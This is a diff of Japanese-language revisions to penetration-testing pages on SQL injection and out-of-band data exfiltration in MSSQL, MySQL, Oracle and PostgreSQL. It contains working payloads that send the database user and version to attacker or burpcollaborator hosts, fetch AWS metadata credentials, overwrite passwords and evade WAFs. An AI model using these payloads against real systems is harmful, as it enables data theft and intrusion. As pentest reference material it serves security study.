`xp_dirtree`のようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内のネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな[例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)や[投稿](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)で示されているように、アウトオブバンドデータの抽出にしばしば使用されます。
|
`xp_dirtree`のようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内でのネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな[例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)や[投稿](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)で示されているように、Out of Band Data exfiltrationでよく使用されます。
|
||||||
|
|
||||||
例えば、`xp_dirtree`ストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみに制限されています。ポート番号は変更できませんが、ネットワーク共有からの読み取りを許可します。使用法は以下のSQLスクリプトで示されています:
|
例えば、`xp_dirtree`ストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみに制限されています。ポート番号は変更できませんが、ネットワーク共有からの読み取りを許可します。使用法は以下のSQLスクリプトで示されています:
|
||||||
```sql
|
```sql
|
||||||
@ -93,25 +93,25 @@ DECLARE @user varchar(100);
|
|||||||
SELECT @user = (SELECT user);
|
SELECT @user = (SELECT user);
|
||||||
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
||||||
```
|
```
|
||||||
この方法は、デフォルト設定の `Windows Server 2016 Datacenter` 上で動作する `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` のようなすべてのシステム構成で機能しない可能性があることに注意が必要です。
|
この方法は、`Windows Server 2016 Datacenter`上でデフォルト設定で動作している`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`など、すべてのシステム構成で機能しない可能性があることに注意が必要です。
|
||||||
|
|
||||||
さらに、同様の結果を得るために使用できる代替のストアドプロシージャとして `master..xp_fileexist` と `xp_subdirs` があります。 `xp_fileexist` に関する詳細は、こちらの [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) で確認できます。
|
さらに、`master..xp_fileexist`や`xp_subdirs`のような代替ストアドプロシージャも、同様の結果を得ることができます。`xp_fileexist`に関する詳細は、この[TechNet記事](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)で確認できます。
|
||||||
|
|
||||||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||||||
|
|
||||||
明らかに、**`xp_cmdshell`** を使用して **SSRF** を引き起こす何かを **実行** することもできます。詳細については、ページの **関連セクションを読む** :
|
明らかに、**`xp_cmdshell`**を使用して**SSRF**を引き起こす何かを**実行**することもできます。詳細については、ページの**関連セクションを読む**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### MSSQL ユーザー定義関数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||||
|
|
||||||
CLR UDF (共通言語ランタイムユーザー定義関数) を作成することは、任意の .NET 言語で作成され、DLL にコンパイルされ、MSSQL 内でカスタム関数を実行するためにロードされるコードを必要とするプロセスであり、`dbo` アクセスが必要です。これは通常、データベース接続が `sa` または管理者ロールで行われる場合にのみ実行可能です。
|
CLR UDF(共通言語ランタイムユーザー定義関数)を作成することは、任意の.NET言語で作成され、DLLにコンパイルされたコードをMSSQL内でカスタム関数を実行するためにロードするプロセスであり、`dbo`アクセスが必要です。これは通常、データベース接続が`sa`または管理者ロールで行われる場合にのみ実行可能です。
|
||||||
|
|
||||||
バイナリを CLR アセンブリとして MSSQL にロードするための Visual Studio プロジェクトとインストール手順は、[この Github repository](https://github.com/infiniteloopltd/SQLHttp) に提供されており、これにより MSSQL 内から HTTP GET リクエストを実行できるようになります。
|
バイナリをCLRアセンブリとしてMSSQLにロードするためのVisual Studioプロジェクトとインストール手順は、[このGithubリポジトリ](https://github.com/infiniteloopltd/SQLHttp)に提供されており、これによりMSSQL内からHTTP GETリクエストを実行できるようになります。
|
||||||
|
|
||||||
この機能の核心は、`http.cs` ファイルにカプセル化されており、`WebClient` クラスを使用して GET リクエストを実行し、以下のようにコンテンツを取得します:
|
この機能の核心は、`http.cs`ファイルにカプセル化されており、`WebClient`クラスを使用してGETリクエストを実行し、以下のようにコンテンツを取得します:
|
||||||
```csharp
|
```csharp
|
||||||
using System.Data.SqlTypes;
|
using System.Data.SqlTypes;
|
||||||
using System.Net;
|
using System.Net;
|
||||||
@ -137,11 +137,11 @@ DECLARE @url varchar(max);
|
|||||||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||||||
SELECT dbo.http(@url);
|
SELECT dbo.http(@url);
|
||||||
```
|
```
|
||||||
### **クイックエクスプロイテーション: 単一クエリでテーブル全体の内容を取得する**
|
### **クイックエクスプロイト: 単一クエリでテーブル全体の内容を取得する**
|
||||||
|
|
||||||
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
||||||
|
|
||||||
単一クエリでテーブルの全内容を抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、特定のモード「raw」を必要とする`FOR XML`句を使用するよりも簡潔です。`FOR JSON`句はその簡潔さから好まれます。
|
単一クエリでテーブルの全内容を抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、特定のモード「raw」を必要とする`FOR XML`句を使用するよりも簡潔です。`FOR JSON`句は、その簡潔さから好まれます。
|
||||||
|
|
||||||
現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:
|
現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:
|
||||||
````sql
|
````sql
|
||||||
@ -231,7 +231,7 @@ admina'union select 1,'admin','testtest123'exec('select 1')--
|
|||||||
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
||||||
exec('select 1')--'
|
exec('select 1')--'
|
||||||
|
|
||||||
# 奇妙に構築されたクエリを使用する
|
# 奇妙に構築されたクエリの使用
|
||||||
admin'exec('update[users]set[password]=''a''')--
|
admin'exec('update[users]set[password]=''a''')--
|
||||||
## これは次のようになります:
|
## これは次のようになります:
|
||||||
SELECT id, username, password FROM users WHERE username = 'admin'
|
SELECT id, username, password FROM users WHERE username = 'admin'
|
||||||
|
@ -50,7 +50,7 @@ SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCH
|
|||||||
```
|
```
|
||||||
## フロー
|
## フロー
|
||||||
|
|
||||||
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを忘れないでください(これはWAFを回避するのに役立つかもしれません)。
|
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてください(これはWAFを回避するのに役立つかもしれません)。
|
||||||
```sql
|
```sql
|
||||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||||
@ -62,12 +62,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
|||||||
- `group_concat()`
|
- `group_concat()`
|
||||||
- `Limit X,1`
|
- `Limit X,1`
|
||||||
|
|
||||||
### **盲目的に1つずつ**
|
### **ブラインド1つずつ**
|
||||||
|
|
||||||
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
|
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
|
||||||
- `mid(version(),X,1)='5'`
|
- `mid(version(),X,1)='5'`
|
||||||
|
|
||||||
### **盲目的に追加**
|
### **ブラインド追加**
|
||||||
|
|
||||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||||
@ -105,7 +105,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||||||
|
|
||||||
### 準備されたステートメントを通じてクエリを実行する
|
### 準備されたステートメントを通じてクエリを実行する
|
||||||
|
|
||||||
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。こんな感じです:
|
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです:
|
||||||
```
|
```
|
||||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||||
```
|
```
|
||||||
@ -113,7 +113,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||||||
|
|
||||||
### Information_schemaの代替
|
### Information_schemaの代替
|
||||||
|
|
||||||
**MySQL**の「現代的な」バージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
|
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
|
||||||
|
|
||||||
### MySQLインジェクション(カンマなし)
|
### MySQLインジェクション(カンマなし)
|
||||||
|
|
||||||
@ -123,13 +123,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||||||
```
|
```
|
||||||
### 列名なしで値を取得する
|
### 列名なしで値を取得する
|
||||||
|
|
||||||
もしある時点でテーブルの名前はわかっているが、テーブル内の列の名前がわからない場合、次のようなコマンドを実行して、列の数を調べることができます:
|
もし、テーブルの名前はわかっているが、そのテーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
|
||||||
```bash
|
```bash
|
||||||
# When a True is returned, you have found the number of columns
|
# When a True is returned, you have found the number of columns
|
||||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||||
```
|
```
|
||||||
2つの列があると仮定します(最初の列がIDで、もう1つの列がフラグです)。フラグの内容を文字ごとにブルートフォースで試すことができます:
|
フラグの内容を文字ごとに試してブルートフォースすることができます。最初の列がIDで、もう一つの列がフラグであると仮定します。
|
||||||
```bash
|
```bash
|
||||||
# When True, you found the correct char and can start ruteforcing the next position
|
# When True, you found the correct char and can start ruteforcing the next position
|
||||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||||
@ -138,7 +138,7 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
|||||||
|
|
||||||
### MySQLの歴史
|
### MySQLの歴史
|
||||||
|
|
||||||
**sys.x$statement_analysis**テーブルを読み取ることで、MySQL内の他の実行を確認できます。
|
**sys.x$statement_analysis**テーブルを読み取ることで、他の実行を確認できます。
|
||||||
|
|
||||||
### バージョンの代替**s**
|
### バージョンの代替**s**
|
||||||
```
|
```
|
||||||
|
@ -8,9 +8,9 @@
|
|||||||
|
|
||||||
SQLのアウトオブバンドデータ流出の探求において、`LOAD_FILE()`関数はネットワークリクエストを開始するために一般的に使用されます。しかし、この関数は、動作するオペレーティングシステムとデータベースの起動設定によって制約されます。
|
SQLのアウトオブバンドデータ流出の探求において、`LOAD_FILE()`関数はネットワークリクエストを開始するために一般的に使用されます。しかし、この関数は、動作するオペレーティングシステムとデータベースの起動設定によって制約されます。
|
||||||
|
|
||||||
`secure_file_priv`グローバル変数が未設定の場合、デフォルトで`/var/lib/mysql-files/`に設定され、このディレクトリへのファイルアクセスが制限されます。空の文字列(`""`)に設定することで、この制限を解除する必要があります。この調整には、データベースの設定ファイルや起動パラメータの変更が必要です。
|
`secure_file_priv`グローバル変数が未設定の場合、デフォルトで`/var/lib/mysql-files/`に設定され、このディレクトリへのファイルアクセスが制限されます。空の文字列(`""`)に設定することで、この制限を解除する必要があります。この調整には、データベースの設定ファイルまたは起動パラメータの変更が必要です。
|
||||||
|
|
||||||
`secure_file_priv`が無効(`""`)であり、必要なファイルと`file_priv`の権限が付与されていると仮定すると、指定されたディレクトリの外にあるファイルを読み取ることができます。しかし、これらの関数がネットワーク呼び出しを行う能力は、オペレーティングシステムに大きく依存します。Windowsシステムでは、UNCパスへのネットワーク呼び出しが可能であり、オペレーティングシステムがUNC命名規則を理解しているため、NTLMv2ハッシュの流出につながる可能性があります。
|
`secure_file_priv`が無効(`""`)であり、必要なファイルと`file_priv`の権限が付与されていると仮定すると、指定されたディレクトリ外のファイルを読み取ることができます。しかし、これらの関数がネットワーク呼び出しを行う能力は、オペレーティングシステムに大きく依存します。Windowsシステムでは、UNCパスへのネットワーク呼び出しが可能であり、オペレーティングシステムがUNC命名規則を理解しているため、NTLMv2ハッシュの流出につながる可能性があります。
|
||||||
|
|
||||||
このSSRF手法はTCPポート445に制限されており、ポート番号の変更は許可されていませんが、完全な読み取り権限を持つ共有にアクセスするために使用でき、以前の研究で示されたように、さらなる悪用のためにハッシュを盗むことができます。
|
このSSRF手法はTCPポート445に制限されており、ポート番号の変更は許可されていませんが、完全な読み取り権限を持つ共有にアクセスするために使用でき、以前の研究で示されたように、さらなる悪用のためにハッシュを盗むことができます。
|
||||||
|
|
||||||
|
@ -6,9 +6,9 @@
|
|||||||
|
|
||||||
## SSRF
|
## SSRF
|
||||||
|
|
||||||
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行うことはよく文書化されていますが、SQLデータを抽出する手段としての注入に関しても同様です。これらの技術/関数を常に変更して、他のSSRF/XSPAを実行することができます。
|
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行うことはよく文書化されていますが、これはSQLデータを抽出するための手段としての注入です。これらの技術/関数を常に変更して、他のSSRF/XSPAを行うことができます。
|
||||||
|
|
||||||
Oracleのインストールは非常に面倒な場合があります。特に、コマンドを試すために迅速なインスタンスをセットアップしたい場合はなおさらです。私の友人であり、[Appsecco](https://appsecco.com)の同僚である[Abhisek Datta](https://github.com/abhisek)が、私に[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を教えてくれました。これにより、t2.largeのAWS UbuntuマシンとDocker上にインスタンスをセットアップすることができました。
|
Oracleのインストールは非常に面倒な場合があります。特に、コマンドを試すために迅速なインスタンスをセットアップしたい場合はなおさらです。私の友人であり、[Appsecco](https://appsecco.com)の同僚である[Abhisek Datta](https://github.com/abhisek)は、私に[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を教えてくれました。これにより、t2.largeのAWS UbuntuマシンとDocker上にインスタンスをセットアップすることができました。
|
||||||
|
|
||||||
私は、ブログ投稿の期間中にOracleをネイティブインストールとして完全なネットワークアクセスで模倣できるように、`--network="host"`フラグを使用してdockerコマンドを実行しました。
|
私は、ブログ投稿の期間中にOracleをネイティブインストールとして完全なネットワークアクセスで模倣できるように、`--network="host"`フラグを使用してdockerコマンドを実行しました。
|
||||||
```
|
```
|
||||||
@ -39,17 +39,17 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
|
|||||||
|
|
||||||
この粗い検索は明らかに `DBMS_LDAP` のようなパッケージをスキップしています(ホスト名とポート番号を渡すことを許可します)[ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)は単に[別の場所](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)を指しています。したがって、私が見逃したかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
|
この粗い検索は明らかに `DBMS_LDAP` のようなパッケージをスキップしています(ホスト名とポート番号を渡すことを許可します)[ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)は単に[別の場所](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)を指しています。したがって、私が見逃したかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
|
||||||
|
|
||||||
いずれにせよ、上記で発見しリストしたいくつかのパッケージを見てみましょう。
|
いずれにせよ、私たちが発見し、上にリストしたパッケージのいくつかを見てみましょう。
|
||||||
|
|
||||||
**DBMS_LDAP.INIT**
|
**DBMS_LDAP.INIT**
|
||||||
|
|
||||||
`DBMS_LDAP` パッケージはLDAPサーバーからデータにアクセスすることを可能にします。 `init()` 関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として受け取ります。
|
`DBMS_LDAP` パッケージはLDAPサーバーからデータにアクセスすることを許可します。 `init()` 関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として取ります。
|
||||||
|
|
||||||
この関数は以前にDNSを介してデータの抽出を示すために文書化されています。以下のように
|
この関数は以前にDNSを介してデータの抽出を示すために文書化されています。以下のように
|
||||||
```
|
```
|
||||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||||||
```
|
```
|
||||||
しかし、この関数はホスト名とポート番号を引数として受け入れるため、これを使用してポートスキャナーのように動作させることもできます。
|
しかし、この関数はホスト名とポート番号を引数として受け取るため、これを使用してポートスキャナーのように動作させることもできます。
|
||||||
|
|
||||||
いくつかの例を示します。
|
いくつかの例を示します。
|
||||||
```
|
```
|
||||||
@ -84,7 +84,7 @@ END;
|
|||||||
|
|
||||||
`UTL_TCP` パッケージとその手続きおよび関数は、[サービスとのTCP/IPベースの通信を可能にします](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。特定のサービス用にプログラムされている場合、このパッケージはネットワークへの侵入や、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行する手段となることがあります。
|
`UTL_TCP` パッケージとその手続きおよび関数は、[サービスとのTCP/IPベースの通信を可能にします](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。特定のサービス用にプログラムされている場合、このパッケージはネットワークへの侵入や、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行する手段となることがあります。
|
||||||
|
|
||||||
Oracleのドキュメントサイトの[例では、このパッケージを使用して生のTCP接続を作成し、ウェブページを取得する方法が示されています](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。これをもう少し簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを送信するために使用することができます。
|
Oracleのドキュメントサイトの[例では、このパッケージを使用して生のTCP接続を作成し、ウェブページを取得する方法が示されています](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。これをもう少し簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを送信するために使用できます。
|
||||||
```
|
```
|
||||||
set serveroutput on size 30000;
|
set serveroutput on size 30000;
|
||||||
SET SERVEROUTPUT ON
|
SET SERVEROUTPUT ON
|
||||||
|
@ -40,7 +40,7 @@ id=1; select pg_sleep(10);-- -
|
|||||||
|
|
||||||
**query_to_xml**
|
**query_to_xml**
|
||||||
|
|
||||||
この関数は、すべてのデータをXML形式で1つのファイルに返します。大量のデータを1行でダンプしたい場合に最適です:
|
この関数は、すべてのデータをXML形式で1つのファイルに返します。大量のデータを1行でダンプしたい場合に最適です。
|
||||||
```sql
|
```sql
|
||||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||||
```
|
```
|
||||||
@ -52,7 +52,7 @@ SELECT database_to_xml(true,true,'');
|
|||||||
```
|
```
|
||||||
### Hexの文字列
|
### Hexの文字列
|
||||||
|
|
||||||
**クエリ**を**文字列内**で実行できる場合(例えば、**`query_to_xml`**関数を使用する場合)、**convert_fromを使用して文字列を16進数として渡し、この方法でフィルターをバイパスできます。**
|
**クエリ**を**文字列内**で実行できる場合(例えば、**`query_to_xml`**関数を使用する場合)。**この方法でフィルターをバイパスするために、文字列を16進数として渡すためにconvert_fromを使用できます:**
|
||||||
```sql
|
```sql
|
||||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||||
|
|
||||||
|
@ -2,15 +2,15 @@
|
|||||||
|
|
||||||
### PostgreSQL 大きなオブジェクト
|
### PostgreSQL 大きなオブジェクト
|
||||||
|
|
||||||
PostgreSQL は、**大きなオブジェクト**として知られる構造を提供しており、`pg_largeobject` テーブルを介してアクセス可能で、画像や PDF ドキュメントなどの大きなデータ型を保存するために設計されています。このアプローチは、**データをファイルシステムに戻すエクスポート**を可能にするため、`COPY TO` 関数よりも有利であり、元のファイルの正確な複製が維持されます。
|
PostgreSQL は、**大きなオブジェクト**として知られる構造を提供しており、`pg_largeobject` テーブルを介してアクセス可能で、画像や PDF ドキュメントなどの大きなデータ型を保存するために設計されています。このアプローチは、**データをファイルシステムに戻すことができる**ため、`COPY TO` 関数よりも有利であり、元のファイルの正確な複製が維持されます。
|
||||||
|
|
||||||
このテーブル内に**完全なファイルを保存する**ためには、`pg_largeobject` テーブルにオブジェクトを作成し(LOID で識別される)、次にこのオブジェクトに 2KB サイズのデータチャンクを挿入する必要があります。これらのチャンクは、エクスポート機能が正しく動作するために、正確に 2KB のサイズであることが重要です(最後のチャンクは例外となる可能性があります)。
|
このテーブル内に**完全なファイルを保存する**ためには、`pg_largeobject` テーブルにオブジェクトを作成し(LOID で識別される)、次にデータチャンクを挿入する必要があります。各チャンクは 2KB のサイズでなければなりません。これらのチャンクは、エクスポート機能が正しく動作するために、正確に 2KB のサイズであることが重要です(最後のチャンクは例外となる可能性があります)。
|
||||||
|
|
||||||
**バイナリデータを** 2KB のチャンクに**分割する**ために、次のコマンドを実行できます:
|
**バイナリデータを** 2KB のチャンクに**分割する**ために、次のコマンドを実行できます:
|
||||||
```bash
|
```bash
|
||||||
split -b 2048 your_file # Creates 2KB sized files
|
split -b 2048 your_file # Creates 2KB sized files
|
||||||
```
|
```
|
||||||
各ファイルをBase64またはHexにエンコードするために、以下のコマンドを使用できます:
|
各ファイルをBase64またはHexにエンコードするには、以下のコマンドを使用できます:
|
||||||
```bash
|
```bash
|
||||||
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
|
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
|
||||||
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
||||||
@ -23,7 +23,7 @@ select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
|||||||
```
|
```
|
||||||
#### `lo_creat` と Base64 の使用
|
#### `lo_creat` と Base64 の使用
|
||||||
|
|
||||||
バイナリデータを保存するために、最初に LOID が作成されます:
|
バイナリデータを保存するために、まず LOID が作成されます:
|
||||||
```sql
|
```sql
|
||||||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||||
@ -43,7 +43,7 @@ SELECT lo_unlink(173454); -- Deletes the specified large object
|
|||||||
```
|
```
|
||||||
#### `lo_import` と Hex の使用
|
#### `lo_import` と Hex の使用
|
||||||
|
|
||||||
`lo_import` 関数は、大きなオブジェクトの LOID を作成し指定するために利用できます:
|
`lo_import` 関数は、大きなオブジェクトの LOID を作成し、指定するために利用できます:
|
||||||
```sql
|
```sql
|
||||||
select lo_import('/path/to/file');
|
select lo_import('/path/to/file');
|
||||||
select lo_import('/path/to/file', 173454);
|
select lo_import('/path/to/file', 173454);
|
||||||
|
@ -1,9 +1,9 @@
|
|||||||
# dblink/lo_import データのエクスフィルトレーション
|
# dblink/lo_import データ流出
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらをエクスフィルトレートする方法の例です。**
|
**これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらを流出させる方法の例です。**
|
||||||
|
|
||||||
**解決策は次のリンクから確認できます:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
**解決策は次のリンクから確認してください:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
# ネットワーク - プライベシー昇格、ポートスキャナーとNTLMチャレンジレスポンス漏洩
|
# ネットワーク - プライベシー昇格、ポートスキャナーとNTLMチャレンジレスポンスの漏洩
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**詳細情報は** [**元の論文でこれらの攻撃について**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) **見つけてください。**
|
**詳細情報は** [**元の論文でこれらの攻撃についてもっと知る**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)ことができます。
|
||||||
|
|
||||||
**PostgreSQL 9.1** 以降、追加モジュールのインストールは簡単です。 [登録された拡張機能 `dblink`](https://www.postgresql.org/docs/current/contrib.html) は [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) を使用してインストールできます:
|
**PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[`dblink`](https://www.postgresql.org/docs/current/contrib.html)のような登録された拡張機能は、[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます:
|
||||||
```sql
|
```sql
|
||||||
CREATE EXTENSION dblink;
|
CREATE EXTENSION dblink;
|
||||||
```
|
```
|
||||||
@ -12,11 +12,11 @@ dblinkがロードされると、いくつかの興味深いトリックを実
|
|||||||
|
|
||||||
### 特権昇格
|
### 特権昇格
|
||||||
|
|
||||||
ファイル`pg_hba.conf`が不適切に構成されていると、**パスワードを知らなくても**、**任意のユーザーとしてlocalhostからの接続を**許可する可能性があります。このファイルは通常`/etc/postgresql/12/main/pg_hba.conf`にあり、不適切な構成は次のようになります。
|
ファイル `pg_hba.conf` が不適切に構成されていると、**パスワードを知らなくても** **任意のユーザーとしてlocalhostからの接続を許可する** 可能性があります。このファイルは通常 `/etc/postgresql/12/main/pg_hba.conf` にあり、不適切な構成は次のようになります。
|
||||||
```
|
```
|
||||||
local all all trust
|
local all all trust
|
||||||
```
|
```
|
||||||
_この設定は、管理者がデータベースユーザーのパスワードを忘れたときにパスワードを変更するために一般的に使用されることに注意してください。したがって、時々それを見つけることができます。_\
|
_この設定は、管理者がデータベースユーザーのパスワードを忘れたときにパスワードを変更するために一般的に使用されるため、時々見つけることがあります。_\
|
||||||
